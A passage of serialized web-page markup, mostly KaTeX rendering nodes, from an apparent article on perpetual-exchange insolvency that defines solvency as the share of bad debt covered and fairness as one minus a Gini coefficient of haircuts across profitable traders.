"props":165076,"children":165078},{"className":165077},[677],[165079,165099],{"type":23,"tag":504,"props":165080,"children":165082},{"className":165081,"style":144381},[682],[165083],{"type":23,"tag":504,"props":165084,"children":165085},{"style":111825},[165086,165090],{"type":23,"tag":504,"props":165087,"children":165089},{"className":165088,"style":693},[692],[],{"type":23,"tag":504,"props":165091,"children":165093},{"className":165092},[698,699,700,701],[165094],{"type":23,"tag":504,"props":165095,"children":165097},{"className":165096,"style":563},[529,530,701],[165098],{"type":29,"value":8033},{"type":23,"tag":504,"props":165100,"children":165102},{"className":165101},[712],[165103],{"type":29,"value":715},{"type":23,"tag":504,"props":165105,"children":165107},{"className":165106},[677],[165108],{"type":23,"tag":504,"props":165109,"children":165111},{"className":165110,"style":723},[682],[165112],{"type":23,"tag":504,"props":165113,"children":165114},{},[],{"type":23,"tag":504,"props":165116,"children":165118},{"className":165117,"style":1426},[537],[],{"type":23,"tag":504,"props":165120,"children":165122},{"className":165121},[1431],[165123],{"type":29,"value":6118},{"type":23,"tag":504,"props":165125,"children":165127},{"className":165126,"style":1426},[537],[],{"type":23,"tag":504,"props":165129,"children":165131},{"className":165130,"style":2686},[529,530],[165132],{"type":29,"value":2721},{"type":23,"tag":504,"props":165134,"children":165136},{"className":165135,"style":1426},[537],[],{"type":23,"tag":504,"props":165138,"children":165140},{"className":165139},[1431],[165141],{"type":29,"value":6118},{"type":23,"tag":504,"props":165143,"children":165145},{"className":165144,"style":1426},[537],[],{"type":23,"tag":504,"props":165147,"children":165149},{"className":165148},[529],[165150,165155],{"type":23,"tag":504,"props":165151,"children":165153},{"className":165152,"style":879},[529,530],[165154],{"type":29,"value":882},{"type":23,"tag":504,"props":165156,"children":165158},{"className":165157},[666],[165159],{"type":23,"tag":504,"props":165160,"children":165162},{"className":165161},[671,672],[165163,165192],{"type":23,"tag":504,"props":165164,"children":165166},{"className":165165},[677],[165167,165187],{"type":23,"tag":504,"props":165168,"children":165170},{"className":165169,"style":144381},[682],[165171],{"type":23,"tag":504,"props":165172,"children":165173},{"style":112255},[165174,165178],{"type":23,"tag":504,"props":165175,"children":165177},{"className":165176,"style":693},[692],[],{"type":23,"tag":504,"props":165179,"children":165181},{"className":165180},[698,699,700,701],[165182],{"type":23,"tag":504,"props":165183,"children":165185},{"className":165184,"style":563},[529,530,701],[165186],{"type":29,"value":8033},{"type":23,"tag":504,"props":165188,"children":165190},{"className":165189},[712],[165191],{"type":29,"value":715},{"type":23,"tag":504,"props":165193,"children":165195},{"className":165194},[677],[165196],{"type":23,"tag":504,"props":165197,"children":165199},{"className":165198,"style":723},[682],[165200],{"type":23,"tag":504,"props":165201,"children":165202},{},[],{"type":23,"tag":504,"props":165204,"children":165206},{"className":165205},[2267],[165207],{"type":29,"value":2270},{"type":23,"tag":504,"props":165209,"children":165211},{"className":165210,"style":2274},[537],[],{"type":23,"tag":504,"props":165213,"children":165215},{"className":165214,"style":2274},[537],[],{"type":23,"tag":504,"props":165217,"children":165219},{"className":165218},[529],[165220],{"type":29,"value":708},{"type":23,"tag":504,"props":165222,"children":165224},{"className":165223},[930],[165225],{"type":29,"value":933},{"type":23,"tag":504,"props":165227,"children":165229},{"className":165228},[712],[165230],{"type":29,"value":715},{"type":23,"tag":504,"props":165232,"children":165234},{"className":165233},[677],[165235],{"type":23,"tag":504,"props":165236,"children":165238},{"className":165237,"style":163516},[682],[165239],{"type":23,"tag":504,"props":165240,"children":165241},{},[],{"type":23,"tag":32,"props":165243,"children":165244},{},[165245,165246,165323,165325,165350,165352,165429,165431,165508],{"type":29,"value":603},{"type":23,"tag":154,"props":165247,"children":165249},{"className":165248},[500,501],[165250],{"type":23,"tag":504,"props":165251,"children":165253},{"className":165252},[507],[165254],{"type":23,"tag":504,"props":165255,"children":165257},{"className":165256,"ariaHidden":513},[512],[165258],{"type":23,"tag":504,"props":165259,"children":165261},{"className":165260},[518],[165262,165266],{"type":23,"tag":504,"props":165263,"children":165265},{"className":165264,"style":112823},[523],[],{"type":23,"tag":504,"props":165267,"children":165269},{"className":165268},[529],[165270,165275],{"type":23,"tag":504,"props":165271,"children":165273},{"className":165272,"style":563},[529,530],[165274],{"type":29,"value":566},{"type":23,"tag":504,"props":165276,"children":165278},{"className":165277},[666],[165279],{"type":23,"tag":504,"props":165280,"children":165282},{"className":165281},[671,672],[165283,165312],{"type":23,"tag":504,"props":165284,"children":165286},{"className":165285},[677],[165287,165307],{"type":23,"tag":504,"props":165288,"children":165290},{"className":165289,"style":111258},[682],[165291],{"type":23,"tag":504,"props":165292,"children":165293},{"style":162759},[165294,165298],{"type":23,"tag":504,"props":165295,"children":165297},{"className":165296,"style":693},[692],[],{"type":23,"tag":504,"props":165299,"children":165301},{"className":165300},[698,699,700,701],[165302],{"type":23,"tag":504,"props":165303,"children":165305},{"className":165304},[529,530,701],[165306],{"type":29,"value":596},{"type":23,"tag":504,"props":165308,"children":165310},{"className":165309},[712],[165311],{"type":29,"value":715},{"type":23,"tag":504,"props":165313,"children":165315},{"className":165314},[677],[165316],{"type":23,"tag":504,"props":165317,"children":165319},{"className":165318,"style":723},[682],[165320],{"type":23,"tag":504,"props":165321,"children":165322},{},[],{"type":29,"value":165324},": mark price from different sources; ",{"type":23,"tag":154,"props":165326,"children":165328},{"className":165327},[500,501],[165329],{"type":23,"tag":504,"props":165330,"children":165332},{"className":165331},[507],[165333],{"type":23,"tag":504,"props":165334,"children":165336},{"className":165335,"ariaHidden":513},[512],[165337],{"type":23,"tag":504,"props":165338,"children":165340},{"className":165339},[518],[165341,165345],{"type":23,"tag":504,"props":165342,"children":165344},{"className":165343,"style":23635},[523],[],{"type":23,"tag":504,"props":165346,"children":165348},{"className":165347,"style":2686},[529,530],[165349],{"type":29,"value":2721},{"type":29,"value":165351},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":154,"props":165353,"children":165355},{"className":165354},[500,501],[165356],{"type":23,"tag":504,"props":165357,"children":165359},{"className":165358},[507],[165360],{"type":23,"tag":504,"props":165361,"children":165363},{"className":165362,"ariaHidden":513},[512],[165364],{"type":23,"tag":504,"props":165365,"children":165367},{"className":165366},[518],[165368,165372],{"type":23,"tag":504,"props":165369,"children":165371},{"className":165370,"style":111796},[523],[],{"type":23,"tag":504,"props":165373,"children":165375},{"className":165374},[529],[165376,165381],{"type":23,"tag":504,"props":165377,"children":165379},{"className":165378,"style":1136},[529,530],[165380],{"type":29,"value":162897},{"type":23,"tag":504,"props":165382,"children":165384},{"className":165383},[666],[165385],{"type":23,"tag":504,"props":165386,"children":165388},{"className":165387},[671,672],[165389,165418],{"type":23,"tag":504,"props":165390,"children":165392},{"className":165391},[677],[165393,165413],{"type":23,"tag":504,"props":165394,"children":165396},{"className":165395,"style":1180},[682],[165397],{"type":23,"tag":504,"props":165398,"children":165399},{"style":1184},[165400,165404],{"type":23,"tag":504,"props":165401,"children":165403},{"className":165402,"style":693},[692],[],{"type":23,"tag":504,"props":165405,"children":165407},{"className":165406},[698,699,700,701],[165408],{"type":23,"tag":504,"props":165409,"children":165411},{"className":165410},[529,530,701],[165412],{"type":29,"value":578},{"type":23,"tag":504,"props":165414,"children":165416},{"className":165415},[712],[165417],{"type":29,"value":715},{"type":23,"tag":504,"props":165419,"children":165421},{"className":165420},[677],[165422],{"type":23,"tag":504,"props":165423,"children":165425},{"className":165424,"style":723},[682],[165426],{"type":23,"tag":504,"props":165427,"children":165428},{},[],{"type":29,"value":165430}," is PNL for longs, negated for shorts; ",{"type":23,"tag":154,"props":165432,"children":165434},{"className":165433},[500,501],[165435],{"type":23,"tag":504,"props":165436,"children":165438},{"className":165437},[507],[165439],{"type":23,"tag":504,"props":165440,"children":165442},{"className":165441,"ariaHidden":513},[512],[165443],{"type":23,"tag":504,"props":165444,"children":165446},{"className":165445},[518],[165447,165451],{"type":23,"tag":504,"props":165448,"children":165450},{"className":165449,"style":111796},[523],[],{"type":23,"tag":504,"props":165452,"children":165454},{"className":165453},[529],[165455,165460],{"type":23,"tag":504,"props":165456,"children":165458},{"className":165457,"style":124106},[529,530],[165459],{"type":29,"value":51635},{"type":23,"tag":504,"props":165461,"children":165463},{"className":165462},[666],[165464],{"type":23,"tag":504,"props":165465,"children":165467},{"className":165466},[671,672],[165468,165497],{"type":23,"tag":504,"props":165469,"children":165471},{"className":165470},[677],[165472,165492],{"type":23,"tag":504,"props":165473,"children":165475},{"className":165474,"style":1180},[682],[165476],{"type":23,"tag":504,"props":165477,"children":165478},{"style":163054},[165479,165483],{"type":23,"tag":504,"props":165480,"children":165482},{"className":165481,"style":693},[692],[],{"type":23,"tag":504,"props":165484,"children":165486},{"className":165485},[698,699,700,701],[165487],{"type":23,"tag":504,"props":165488,"children":165490},{"className":165489},[529,530,701],[165491],{"type":29,"value":578},{"type":23,"tag":504,"props":165493,"children":165495},{"className":165494},[712],[165496],{"type":29,"value":715},{"type":23,"tag":504,"props":165498,"children":165500},{"className":165499},[677],[165501],{"type":23,"tag":504,"props":165502,"children":165504},{"className":165503,"style":723},[682],[165505],{"type":23,"tag":504,"props":165506,"children":165507},{},[],{"type":29,"value":165509}," is the positive part of PNL.)",{"type":23,"tag":32,"props":165511,"children":165512},{},[165513],{"type":29,"value":165514},"And let's make the trilemma definitions concrete:",{"type":23,"tag":1022,"props":165516,"children":165517},{},[165518,165992,166556],{"type":23,"tag":143,"props":165519,"children":165520},{},[165521,165525,165526,165780,165782,165833,165835,165938,165939,165990],{"type":23,"tag":4321,"props":165522,"children":165523},{},[165524],{"type":29,"value":162638},{"type":29,"value":34967},{"type":23,"tag":154,"props":165527,"children":165529},{"className":165528},[500,501],[165530],{"type":23,"tag":504,"props":165531,"children":165533},{"className":165532},[507],[165534],{"type":23,"tag":504,"props":165535,"children":165537},{"className":165536,"ariaHidden":513},[512],[165538,165565],{"type":23,"tag":504,"props":165539,"children":165541},{"className":165540},[518],[165542,165547,165552,165556,165561],{"type":23,"tag":504,"props":165543,"children":165546},{"className":165544,"style":165545},[523],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":504,"props":165548,"children":165550},{"className":165549},[529],[165551],{"type":29,"value":826},{"type":23,"tag":504,"props":165553,"children":165555},{"className":165554,"style":1426},[537],[],{"type":23,"tag":504,"props":165557,"children":165559},{"className":165558},[1431],[165560],{"type":29,"value":6118},{"type":23,"tag":504,"props":165562,"children":165564},{"className":165563,"style":1426},[537],[],{"type":23,"tag":504,"props":165566,"children":165568},{"className":165567},[518],[165569,165574],{"type":23,"tag":504,"props":165570,"children":165573},{"className":165571,"style":165572},[523],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":504,"props":165575,"children":165577},{"className":165576},[529],[165578,165582,165776],{"type":23,"tag":504,"props":165579,"children":165581},{"className":165580},[600,115344],[],{"type":23,"tag":504,"props":165583,"children":165585},{"className":165584},[115349],[165586],{"type":23,"tag":504,"props":165587,"children":165589},{"className":165588},[671,672],[165590,165764],{"type":23,"tag":504,"props":165591,"children":165593},{"className":165592},[677],[165594,165759],{"type":23,"tag":504,"props":165595,"children":165598},{"className":165596,"style":165597},[682],"height:0.8884em;",[165599,165673,165684],{"type":23,"tag":504,"props":165600,"children":165601},{"style":115366},[165602,165606],{"type":23,"tag":504,"props":165603,"children":165605},{"className":165604,"style":113997},[692],[],{"type":23,"tag":504,"props":165607,"children":165609},{"className":165608},[698,699,700,701],[165610],{"type":23,"tag":504,"props":165611,"children":165613},{"className":165612},[529,701],[165614],{"type":23,"tag":504,"props":165615,"children":165617},{"className":165616},[529,701],[165618,165623],{"type":23,"tag":504,"props":165619,"children":165621},{"className":165620,"style":624},[529,530,701],[165622],{"type":29,"value":163313},{"type":23,"tag":504,"props":165624,"children":165626},{"className":165625},[666],[165627],{"type":23,"tag":504,"props":165628,"children":165630},{"className":165629},[671,672],[165631,165661],{"type":23,"tag":504,"props":165632,"children":165634},{"className":165633},[677],[165635,165656],{"type":23,"tag":504,"props":165636,"children":165638},{"className":165637,"style":114158},[682],[165639],{"type":23,"tag":504,"props":165640,"children":165642},{"style":165641},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[165643,165647],{"type":23,"tag":504,"props":165644,"children":165646},{"className":165645,"style":110686},[692],[],{"type":23,"tag":504,"props":165648,"children":165650},{"className":165649},[698,110691,110692,701],[165651],{"type":23,"tag":504,"props":165652,"children":165654},{"className":165653,"style":563},[529,530,701],[165655],{"type":29,"value":8033},{"type":23,"tag":504,"props":165657,"children":165659},{"className":165658},[712],[165660],{"type":29,"value":715},{"type":23,"tag":504,"props":165662,"children":165664},{"className":165663},[677],[165665],{"type":23,"tag":504,"props":165666,"children":165669},{"className":165667,"style":165668},[682],"height:0.1433em;",[165670],{"type":23,"tag":504,"props":165671,"children":165672},{},[],{"type":23,"tag":504,"props":165674,"children":165675},{"style":115399},[165676,165680],{"type":23,"tag":504,"props":165677,"children":165679},{"className":165678,"style":113997},[692],[],{"type":23,"tag":504,"props":165681,"children":165683},{"className":165682,"style":115409},[115408],[],{"type":23,"tag":504,"props":165685,"children":165687},{"style":165686},"top:-3.4101em;",[165688,165692],{"type":23,"tag":504,"props":165689,"children":165691},{"className":165690,"style":113997},[692],[],{"type":23,"tag":504,"props":165693,"children":165695},{"className":165694},[698,699,700,701],[165696],{"type":23,"tag":504,"props":165697,"children":165699},{"className":165698},[529,701],[165700],{"type":23,"tag":504,"props":165701,"children":165703},{"className":165702},[529,701],[165704,165709],{"type":23,"tag":504,"props":165705,"children":165707},{"className":165706,"style":124603},[529,530,701],[165708],{"type":29,"value":124606},{"type":23,"tag":504,"props":165710,"children":165712},{"className":165711},[666],[165713],{"type":23,"tag":504,"props":165714,"children":165716},{"className":165715},[671,672],[165717,165748],{"type":23,"tag":504,"props":165718,"children":165720},{"className":165719},[677],[165721,165743],{"type":23,"tag":504,"props":165722,"children":165725},{"className":165723,"style":165724},[682],"height:0.2963em;",[165726],{"type":23,"tag":504,"props":165727,"children":165729},{"style":165728},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[165730,165734],{"type":23,"tag":504,"props":165731,"children":165733},{"className":165732,"style":110686},[692],[],{"type":23,"tag":504,"props":165735,"children":165737},{"className":165736},[698,110691,110692,701],[165738],{"type":23,"tag":504,"props":165739,"children":165741},{"className":165740},[529,530,701],[165742],{"type":29,"value":620},{"type":23,"tag":504,"props":165744,"children":165746},{"className":165745},[712],[165747],{"type":29,"value":715},{"type":23,"tag":504,"props":165749,"children":165751},{"className":165750},[677],[165752],{"type":23,"tag":504,"props":165753,"children":165755},{"className":165754,"style":110711},[682],[165756],{"type":23,"tag":504,"props":165757,"children":165758},{},[],{"type":23,"tag":504,"props":165760,"children":165762},{"className":165761},[712],[165763],{"type":29,"value":715},{"type":23,"tag":504,"props":165765,"children":165767},{"className":165766},[677],[165768],{"type":23,"tag":504,"props":165769,"children":165772},{"className":165770,"style":165771},[682],"height:0.4453em;",[165773],{"type":23,"tag":504,"props":165774,"children":165775},{},[],{"type":23,"tag":504,"props":165777,"children":165779},{"className":165778},[930,115344],[],{"type":29,"value":165781}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":154,"props":165783,"children":165785},{"className":165784},[500,501],[165786],{"type":23,"tag":504,"props":165787,"children":165789},{"className":165788},[507],[165790],{"type":23,"tag":504,"props":165791,"children":165793},{"className":165792,"ariaHidden":513},[512],[165794,165820],{"type":23,"tag":504,"props":165795,"children":165797},{"className":165796},[518],[165798,165802,165807,165811,165816],{"type":23,"tag":504,"props":165799,"children":165801},{"className":165800,"style":23635},[523],[],{"type":23,"tag":504,"props":165803,"children":165805},{"className":165804,"style":872},[529,530],[165806],{"type":29,"value":875},{"type":23,"tag":504,"props":165808,"children":165810},{"className":165809,"style":538},[537],[],{"type":23,"tag":504,"props":165812,"children":165814},{"className":165813},[543],[165815],{"type":29,"value":546},{"type":23,"tag":504,"props":165817,"children":165819},{"className":165818,"style":538},[537],[],{"type":23,"tag":504,"props":165821,"children":165823},{"className":165822},[518],[165824,165828],{"type":23,"tag":504,"props":165825,"children":165827},{"className":165826,"style":1690},[523],[],{"type":23,"tag":504,"props":165829,"children":165831},{"className":165830},[529],[165832],{"type":29,"value":826},{"type":29,"value":165834}," means fully solvent (",{"type":23,"tag":154,"props":165836,"children":165838},{"className":165837},[500,501],[165839],{"type":23,"tag":504,"props":165840,"children":165842},{"className":165841},[507],[165843],{"type":23,"tag":504,"props":165844,"children":165846},{"className":165845,"ariaHidden":513},[512],[165847,165925],{"type":23,"tag":504,"props":165848,"children":165850},{"className":165849},[518],[165851,165855,165912,165916,165921],{"type":23,"tag":504,"props":165852,"children":165854},{"className":165853,"style":112823},[523],[],{"type":23,"tag":504,"props":165856,"children":165858},{"className":165857},[529],[165859,165864],{"type":23,"tag":504,"props":165860,"children":165862},{"className":165861,"style":124603},[529,530],[165863],{"type":29,"value":124606},{"type":23,"tag":504,"props":165865,"children":165867},{"className":165866},[666],[165868],{"type":23,"tag":504,"props":165869,"children":165871},{"className":165870},[671,672],[165872,165901],{"type":23,"tag":504,"props":165873,"children":165875},{"className":165874},[677],[165876,165896],{"type":23,"tag":504,"props":165877,"children":165879},{"className":165878,"style":163469},[682],[165880],{"type":23,"tag":504,"props":165881,"children":165882},{"style":163473},[165883,165887],{"type":23,"tag":504,"props":165884,"children":165886},{"className":165885,"style":693},[692],[],{"type":23,"tag":504,"props":165888,"children":165890},{"className":165889},[698,699,700,701],[165891],{"type":23,"tag":504,"props":165892,"children":165894},{"className":165893},[529,530,701],[165895],{"type":29,"value":620},{"type":23,"tag":504,"props":165897,"children":165899},{"className":165898},[712],[165900],{"type":29,"value":715},{"type":23,"tag":504,"props":165902,"children":165904},{"className":165903},[677],[165905],{"type":23,"tag":504,"props":165906,"children":165908},{"className":165907,"style":723},[682],[165909],{"type":23,"tag":504,"props":165910,"children":165911},{},[],{"type":23,"tag":504,"props":165913,"children":165915},{"className":165914,"style":538},[537],[],{"type":23,"tag":504,"props":165917,"children":165919},{"className":165918},[543],[165920],{"type":29,"value":546},{"type":23,"tag":504,"props":165922,"children":165924},{"className":165923,"style":538},[537],[],{"type":23,"tag":504,"props":165926,"children":165928},{"className":165927},[518],[165929,165933],{"type":23,"tag":504,"props":165930,"children":165932},{"className":165931,"style":1690},[523],[],{"type":23,"tag":504,"props":165934,"children":165936},{"className":165935},[529],[165937],{"type":29,"value":708},{"type":29,"value":17224},{"type":23,"tag":154,"props":165940,"children":165942},{"className":165941},[500,501],[165943],{"type":23,"tag":504,"props":165944,"children":165946},{"className":165945},[507],[165947],{"type":23,"tag":504,"props":165948,"children":165950},{"className":165949,"ariaHidden":513},[512],[165951,165977],{"type":23,"tag":504,"props":165952,"children":165954},{"className":165953},[518],[165955,165959,165964,165968,165973],{"type":23,"tag":504,"props":165956,"children":165958},{"className":165957,"style":23635},[523],[],{"type":23,"tag":504,"props":165960,"children":165962},{"className":165961,"style":872},[529,530],[165963],{"type":29,"value":875},{"type":23,"tag":504,"props":165965,"children":165967},{"className":165966,"style":538},[537],[],{"type":23,"tag":504,"props":165969,"children":165971},{"className":165970},[543],[165972],{"type":29,"value":546},{"type":23,"tag":504,"props":165974,"children":165976},{"className":165975,"style":538},[537],[],{"type":23,"tag":504,"props":165978,"children":165980},{"className":165979},[518],[165981,165985],{"type":23,"tag":504,"props":165982,"children":165984},{"className":165983,"style":1690},[523],[],{"type":23,"tag":504,"props":165986,"children":165988},{"className":165987},[529],[165989],{"type":29,"value":708},{"type":29,"value":165991}," means nothing was recovered.",{"type":23,"tag":143,"props":165993,"children":165994},{},[165995,165999,166000,166123,166124,166341,166343,166447,166449,166500,166502,166554],{"type":23,"tag":4321,"props":165996,"children":165997},{},[165998],{"type":29,"value":162648},{"type":29,"value":34967},{"type":23,"tag":154,"props":166001,"children":166003},{"className":166002},[500,501],[166004],{"type":23,"tag":504,"props":166005,"children":166007},{"className":166006},[507],[166008],{"type":23,"tag":504,"props":166009,"children":166011},{"className":166010,"ariaHidden":513},[512],[166012,166038],{"type":23,"tag":504,"props":166013,"children":166015},{"className":166014},[518],[166016,166020,166025,166029,166034],{"type":23,"tag":504,"props":166017,"children":166019},{"className":166018,"style":165545},[523],[],{"type":23,"tag":504,"props":166021,"children":166023},{"className":166022},[529],[166024],{"type":29,"value":826},{"type":23,"tag":504,"props":166026,"children":166028},{"className":166027,"style":1426},[537],[],{"type":23,"tag":504,"props":166030,"children":166032},{"className":166031},[1431],[166033],{"type":29,"value":6118},{"type":23,"tag":504,"props":166035,"children":166037},{"className":166036,"style":1426},[537],[],{"type":23,"tag":504,"props":166039,"children":166041},{"className":166040},[518],[166042,166046,166056,166061,166118],{"type":23,"tag":504,"props":166043,"children":166045},{"className":166044,"style":2160},[523],[],{"type":23,"tag":504,"props":166047,"children":166049},{"className":166048},[529,29],[166050],{"type":23,"tag":504,"props":166051,"children":166053},{"className":166052},[529],[166054],{"type":29,"value":166055},"Gini",{"type":23,"tag":504,"props":166057,"children":166059},{"className":166058},[600],[166060],{"type":29,"value":603},{"type":23,"tag":504,"props":166062,"children":166064},{"className":166063},[529],[166065,166070],{"type":23,"tag":504,"props":166066,"children":166068},{"className":166067},[529,530],[166069],{"type":29,"value":533},{"type":23,"tag":504,"props":166071,"children":166073},{"className":166072},[666],[166074],{"type":23,"tag":504,"props":166075,"children":166077},{"className":166076},[671,672],[166078,166107],{"type":23,"tag":504,"props":166079,"children":166081},{"className":166080},[677],[166082,166102],{"type":23,"tag":504,"props":166083,"children":166085},{"className":166084,"style":1180},[682],[166086],{"type":23,"tag":504,"props":166087,"children":166088},{"style":687},[166089,166093],{"type":23,"tag":504,"props":166090,"children":166092},{"className":166091,"style":693},[692],[],{"type":23,"tag":504,"props":166094,"children":166096},{"className":166095},[698,699,700,701],[166097],{"type":23,"tag":504,"props":166098,"children":166100},{"className":166099},[529,530,701],[166101],{"type":29,"value":578},{"type":23,"tag":504,"props":166103,"children":166105},{"className":166104},[712],[166106],{"type":29,"value":715},{"type":23,"tag":504,"props":166108,"children":166110},{"className":166109},[677],[166111],{"type":23,"tag":504,"props":166112,"children":166114},{"className":166113,"style":723},[682],[166115],{"type":23,"tag":504,"props":166116,"children":166117},{},[],{"type":23,"tag":504,"props":166119,"children":166121},{"className":166120},[930],[166122],{"type":29,"value":933},{"type":29,"value":9366},{"type":23,"tag":154,"props":166125,"children":166127},{"className":166126},[500,501],[166128],{"type":23,"tag":504,"props":166129,"children":166131},{"className":166130},[507],[166132],{"type":23,"tag":504,"props":166133,"children":166135},{"className":166134,"ariaHidden":513},[512],[166136,166214],{"type":23,"tag":504,"props":166137,"children":166139},{"className":166138},[518],[166140,166144,166201,166205,166210],{"type":23,"tag":504,"props":166141,"children":166143},{"className":166142,"style":144105},[523],[],{"type":23,"tag":504,"props":166145,"children":166147},{"className":166146},[529],[166148,166153],{"type":23,"tag":504,"props":166149,"children":166151},{"className":166150},[529,530],[166152],{"type":29,"value":533},{"type":23,"tag":504,"props":166154,"children":166156},{"className":166155},[666],[166157],{"type":23,"tag":504,"props":166158,"children":166160},{"className":166159},[671,672],[166161,166190],{"type":23,"tag":504,"props":166162,"children":166164},{"className":166163},[677],[166165,166185],{"type":23,"tag":504,"props":166166,"children":166168},{"className":166167,"style":1180},[682],[166169],{"type":23,"tag":504,"props":166170,"children":166171},{"style":687},[166172,166176],{"type":23,"tag":504,"props":166173,"children":166175},{"className":166174,"style":693},[692],[],{"type":23,"tag":504,"props":166177,"children":166179},{"className":166178},[698,699,700,701],[166180],{"type":23,"tag":504,"props":166181,"children":166183},{"className":166182},[529,530,701],[166184],{"type":29,"value":578},{"type":23,"tag":504,"props":166186,"children":166188},{"className":166187},[712],[166189],{"type":29,"value":715},{"type":23,"tag":504,"props":166191,"children":166193},{"className":166192},[677],[166194],{"type":23,"tag":504,"props":166195,"children":166197},{"className":166196,"style":723},[682],[166198],{"type":23,"tag":504,"props":166199,"children":166200},{},[],{"type":23,"tag":504,"props":166202,"children":166204},{"className":166203,"style":538},[537],[],{"type":23,"tag":504,"props":166206,"children":166208},{"className":166207},[543],[166209],{"type":29,"value":546},{"type":23,"tag":504,"props":166211,"children":166213},{"className":166212,"style":538},[537],[],{"type":23,"tag":504,"props":166215,"children":166217},{"className":166216},[518],[166218,166222,166279,166284],{"type":23,"tag":504,"props":166219,"children":166221},{"className":166220,"style":2160},[523],[],{"type":23,"tag":504,"props":166223,"children":166225},{"className":166224},[529],[166226,166231],{"type":23,"tag":504,"props":166227,"children":166229},{"className":166228},[529,530],[166230],{"type":29,"value":21327},{"type":23,"tag":504,"props":166232,"children":166234},{"className":166233},[666],[166235],{"type":23,"tag":504,"props":166236,"children":166238},{"className":166237},[671,672],[166239,166268],{"type":23,"tag":504,"props":166240,"children":166242},{"className":166241},[677],[166243,166263],{"type":23,"tag":504,"props":166244,"children":166246},{"className":166245,"style":1180},[682],[166247],{"type":23,"tag":504,"props":166248,"children":166249},{"style":687},[166250,166254],{"type":23,"tag":504,"props":166251,"children":166253},{"className":166252,"style":693},[692],[],{"type":23,"tag":504,"props":166255,"children":166257},{"className":166256},[698,699,700,701],[166258],{"type":23,"tag":504,"props":166259,"children":166261},{"className":166260},[529,530,701],[166262],{"type":29,"value":578},{"type":23,"tag":504,"props":166264,"children":166266},{"className":166265},[712],[166267],{"type":29,"value":715},{"type":23,"tag":504,"props":166269,"children":166271},{"className":166270},[677],[166272],{"type":23,"tag":504,"props":166273,"children":166275},{"className":166274,"style":723},[682],[166276],{"type":23,"tag":504,"props":166277,"children":166278},{},[],{"type":23,"tag":504,"props":166280,"children":166282},{"className":166281},[529],[166283],{"type":29,"value":6623},{"type":23,"tag":504,"props":166285,"children":166287},{"className":166286},[529],[166288,166293],{"type":23,"tag":504,"props":166289,"children":166291},{"className":166290,"style":124106},[529,530],[166292],{"type":29,"value":51635},{"type":23,"tag":504,"props":166294,"children":166296},{"className":166295},[666],[166297],{"type":23,"tag":504,"props":166298,"children":166300},{"className":166299},[671,672],[166301,166330],{"type":23,"tag":504,"props":166302,"children":166304},{"className":166303},[677],[166305,166325],{"type":23,"tag":504,"props":166306,"children":166308},{"className":166307,"style":1180},[682],[166309],{"type":23,"tag":504,"props":166310,"children":166311},{"style":163054},[166312,166316],{"type":23,"tag":504,"props":166313,"children":166315},{"className":166314,"style":693},[692],[],{"type":23,"tag":504,"props":166317,"children":166319},{"className":166318},[698,699,700,701],[166320],{"type":23,"tag":504,"props":166321,"children":166323},{"className":166322},[529,530,701],[166324],{"type":29,"value":578},{"type":23,"tag":504,"props":166326,"children":166328},{"className":166327},[712],[166329],{"type":29,"value":715},{"type":23,"tag":504,"props":166331,"children":166333},{"className":166332},[677],[166334],{"type":23,"tag":504,"props":166335,"children":166337},{"className":166336,"style":723},[682],[166338],{"type":23,"tag":504,"props":166339,"children":166340},{},[],{"type":29,"value":166342}," for each winner with ",{"type":23,"tag":154,"props":166344,"children":166346},{"className":166345},[500,501],[166347],{"type":23,"tag":504,"props":166348,"children":166350},{"className":166349},[507],[166351],{"type":23,"tag":504,"props":166352,"children":166354},{"className":166353,"ariaHidden":513},[512],[166355,166434],{"type":23,"tag":504,"props":166356,"children":166358},{"className":166357},[518],[166359,166364,166421,166425,166430],{"type":23,"tag":504,"props":166360,"children":166363},{"className":166361,"style":166362},[523],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":504,"props":166365,"children":166367},{"className":166366},[529],[166368,166373],{"type":23,"tag":504,"props":166369,"children":166371},{"className":166370,"style":124106},[529,530],[166372],{"type":29,"value":51635},{"type":23,"tag":504,"props":166374,"children":166376},{"className":166375},[666],[166377],{"type":23,"tag":504,"props":166378,"children":166380},{"className":166379},[671,672],[166381,166410],{"type":23,"tag":504,"props":166382,"children":166384},{"className":166383},[677],[166385,166405],{"type":23,"tag":504,"props":166386,"children":166388},{"className":166387,"style":1180},[682],[166389],{"type":23,"tag":504,"props":166390,"children":166391},{"style":163054},[166392,166396],{"type":23,"tag":504,"props":166393,"children":166395},{"className":166394,"style":693},[692],[],{"type":23,"tag":504,"props":166397,"children":166399},{"className":166398},[698,699,700,701],[166400],{"type":23,"tag":504,"props":166401,"children":166403},{"className":166402},[529,530,701],[166404],{"type":29,"value":578},{"type":23,"tag":504,"props":166406,"children":166408},{"className":166407},[712],[166409],{"type":29,"value":715},{"type":23,"tag":504,"props":166411,"children":166413},{"className":166412},[677],[166414],{"type":23,"tag":504,"props":166415,"children":166417},{"className":166416,"style":723},[682],[166418],{"type":23,"tag":504,"props":166419,"children":166420},{},[],{"type":23,"tag":504,"props":166422,"children":166424},{"className":166423,"style":538},[537],[],{"type":23,"tag":504,"props":166426,"children":166428},{"className":166427},[543],[166429],{"type":29,"value":12508},{"type":23,"tag":504,"props":166431,"children":166433},{"className":166432,"style":538},[537],[],{"type":23,"tag":504,"props":166435,"children":166437},{"className":166436},[518],[166438,166442],{"type":23,"tag":504,"props":166439,"children":166441},{"className":166440,"style":1690},[523],[],{"type":23,"tag":504,"props":166443,"children":166445},{"className":166444},[529],[166446],{"type":29,"value":708},{"type":29,"value":166448}," — how uniformly the haircut burden is distributed across profitable traders. 